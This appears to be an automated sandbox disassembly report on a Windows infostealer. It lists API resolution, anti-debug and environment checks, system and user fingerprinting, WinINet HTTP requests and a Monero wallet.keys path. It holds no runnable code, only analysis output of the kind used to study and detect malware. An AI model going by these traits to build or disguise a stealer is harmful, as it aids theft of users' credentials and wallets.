GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00FC9BB6

Strings

NtQueryInformationProcess, xrefs: 00FC9BAA

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: fa69084b1ebd50339cf777fd99be4abb4d28758e3a8faff5862cc1d2f9b3d25c
Instruction ID: b80a9100788e59a98e35383e9003f1d91a589ada4127d525645c6287aea7d499
Opcode Fuzzy Hash: fa69084b1ebd50339cf777fd99be4abb4d28758e3a8faff5862cc1d2f9b3d25c
Instruction Fuzzy Hash: D6A14CB55046019FD36CDBA9F598D5637F9FF88342B04863EA62E8320CD67EA8C1CB50

Function 00FB45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00FB460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00FB479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45D2

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 11bad7e7109603dcc4ff2a08ad4b4894f5b717807090f019004e83eb3c068bc4
Instruction ID: def7a39281dc99318b26bfa586b20d157c6b34c58e0b8748c85d27c9a6d0d800
Opcode Fuzzy Hash: 11bad7e7109603dcc4ff2a08ad4b4894f5b717807090f019004e83eb3c068bc4
Instruction Fuzzy Hash: 8E41F471FCB60C6EC624B7A4B87EEDD775B6F52F01B685282E80052780CEB1B5016D2B

Function 00FB4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
Part of subcall function 00FB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FB4915
StrCmpCA.SHLWAPI(?,00C8EAA8), ref: 00FB493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00FD0DDB,00000000,?,?,00000000,?,",00000000,?,00C8EA48), ref: 00FB4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FB4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FB4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FB4E49
InternetCloseHandle.WININET(00000000), ref: 00FB4EAD
InternetCloseHandle.WININET(00000000), ref: 00FB4EC5
HttpOpenRequestA.WININET(00000000,00C8E988,?,00C8E368,00000000,00000000,00400100,00000000), ref: 00FB4B15

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

InternetCloseHandle.WININET(00000000), ref: 00FB4ECF

Strings

------, xrefs: 00FB4C69
", xrefs: 00FB4D33
------, xrefs: 00FB49BD
", xrefs: 00FB4BF2
------, xrefs: 00FB4B28

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: f5e6772ec4fc7a2796d0bd9b1e5894cb93b83282cf1f1caf070ed9e52df898e0
Instruction ID: dfb2a0ccbbdf62885b74c7e1170082abc22beb138812785f59f82f3f22803364
Opcode Fuzzy Hash: f5e6772ec4fc7a2796d0bd9b1e5894cb93b83282cf1f1caf070ed9e52df898e0
Instruction Fuzzy Hash: A812E47291011DAADB18EB90DE93FEEB339AF14304F5041ADB10662491EF787E49DB62

Function 00FC78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7910
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00FC792F

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 204910939c12d502d0df0fc1bbbfc31b350e1a08adb8f1b32ca04bafa2213fbf
Instruction ID: 13446c0e512c48c067a3abf7bb95c2dbcd8046fc60212a4a61287b2e28cfc113
Opcode Fuzzy Hash: 204910939c12d502d0df0fc1bbbfc31b350e1a08adb8f1b32ca04bafa2213fbf
Instruction Fuzzy Hash: 930162B1904205EFC714DF95D946FAEBBB8FB44B21F10422EE555A3680C77959408BA1

Function 00FC7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FB11B7), ref: 00FC7880
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FC789F

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a50fbea8f942e7dd736a9b85938afde8b33249938cc435cbc9517f30b3ca4f9d
Instruction ID: 7e7c080114c452236dc700b67ad7df230b750478a740a67b3e8661db04a19792
Opcode Fuzzy Hash: a50fbea8f942e7dd736a9b85938afde8b33249938cc435cbc9517f30b3ca4f9d
Instruction Fuzzy Hash: D4F0A4B1904209AFC714DF84D946FAEBBB8FB04711F10022DF615A3680C77815448BA1

Function 00FB1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00FB116A
ExitProcess.KERNEL32 ref: 00FB117E

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0011fb4f2055730ef30bc980c491acba2c743a7ad7d8eb2e3ce60421f6d509d4
Instruction ID: 0e1ca9d6ee6f7413b388f95b2c99b4b16f1ff373fcd018a324f0db53abb1d830
Opcode Fuzzy Hash: 0011fb4f2055730ef30bc980c491acba2c743a7ad7d8eb2e3ce60421f6d509d4
Instruction Fuzzy Hash: 83D017749002089BCB149AA0A849ADDBB78FB08211F000668D90A62240EA3164828BA5

Function 00FC9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00C75C30), ref: 00FC9C2D
GetProcAddress.KERNEL32(74DD0000,00C75B50), ref: 00FC9C45
GetProcAddress.KERNEL32(74DD0000,00C89430), ref: 00FC9C5E
GetProcAddress.KERNEL32(74DD0000,00C89340), ref: 00FC9C76
GetProcAddress.KERNEL32(74DD0000,00C89448), ref: 00FC9C8E
GetProcAddress.KERNEL32(74DD0000,00C89460), ref: 00FC9CA7
GetProcAddress.KERNEL32(74DD0000,00C7B9A0), ref: 00FC9CBF
GetProcAddress.KERNEL32(74DD0000,00C8D4B8), ref: 00FC9CD7
GetProcAddress.KERNEL32(74DD0000,00C8D428), ref: 00FC9CF0
GetProcAddress.KERNEL32(74DD0000,00C8D578), ref: 00FC9D08
GetProcAddress.KERNEL32(74DD0000,00C8D518), ref: 00FC9D20
GetProcAddress.KERNEL32(74DD0000,00C75D30), ref: 00FC9D39
GetProcAddress.KERNEL32(74DD0000,00C75B70), ref: 00FC9D51
GetProcAddress.KERNEL32(74DD0000,00C75D10), ref: 00FC9D69
GetProcAddress.KERNEL32(74DD0000,00C75B90), ref: 00FC9D82
GetProcAddress.KERNEL32(74DD0000,00C8D410), ref: 00FC9D9A
GetProcAddress.KERNEL32(74DD0000,00C8D458), ref: 00FC9DB2
GetProcAddress.KERNEL32(74DD0000,00C7B5E0), ref: 00FC9DCB
GetProcAddress.KERNEL32(74DD0000,00C75CB0), ref: 00FC9DE3
GetProcAddress.KERNEL32(74DD0000,00C8D5A8), ref: 00FC9DFB
GetProcAddress.KERNEL32(74DD0000,00C8D440), ref: 00FC9E14
GetProcAddress.KERNEL32(74DD0000,00C8D590), ref: 00FC9E2C
GetProcAddress.KERNEL32(74DD0000,00C8D4E8), ref: 00FC9E44
GetProcAddress.KERNEL32(74DD0000,00C75E30), ref: 00FC9E5D
GetProcAddress.KERNEL32(74DD0000,00C8D500), ref: 00FC9E75
GetProcAddress.KERNEL32(74DD0000,00C8D470), ref: 00FC9E8D
GetProcAddress.KERNEL32(74DD0000,00C8D3F8), ref: 00FC9EA6
GetProcAddress.KERNEL32(74DD0000,00C8D488), ref: 00FC9EBE
GetProcAddress.KERNEL32(74DD0000,00C8D4A0), ref: 00FC9ED6
GetProcAddress.KERNEL32(74DD0000,00C8D560), ref: 00FC9EEF
GetProcAddress.KERNEL32(74DD0000,00C8D4D0), ref: 00FC9F07
GetProcAddress.KERNEL32(74DD0000,00C8D530), ref: 00FC9F1F
GetProcAddress.KERNEL32(74DD0000,00C8D548), ref: 00FC9F38
GetProcAddress.KERNEL32(74DD0000,00C8A570), ref: 00FC9F50
GetProcAddress.KERNEL32(74DD0000,00C8CE40), ref: 00FC9F68
GetProcAddress.KERNEL32(74DD0000,00C8D0B0), ref: 00FC9F81
GetProcAddress.KERNEL32(74DD0000,00C75E50), ref: 00FC9F99
GetProcAddress.KERNEL32(74DD0000,00C8CE88), ref: 00FC9FB1
GetProcAddress.KERNEL32(74DD0000,00C75970), ref: 00FC9FCA
GetProcAddress.KERNEL32(74DD0000,00C8CF48), ref: 00FC9FE2
GetProcAddress.KERNEL32(74DD0000,00C8CFC0), ref: 00FC9FFA
GetProcAddress.KERNEL32(74DD0000,00C757D0), ref: 00FCA013
GetProcAddress.KERNEL32(74DD0000,00C758B0), ref: 00FCA02B
LoadLibraryA.KERNEL32(00C8CF78,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA03D
LoadLibraryA.KERNEL32(00C8CFD8,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA04E
LoadLibraryA.KERNEL32(00C8CEE8,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA060
LoadLibraryA.KERNEL32(00C8CDF8,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA072
LoadLibraryA.KERNEL32(00C8CF60,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA083
LoadLibraryA.KERNEL32(00C8CF18,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA095
LoadLibraryA.KERNEL32(00C8CE28,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA0A7
LoadLibraryA.KERNEL32(00C8CF90,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA0B8
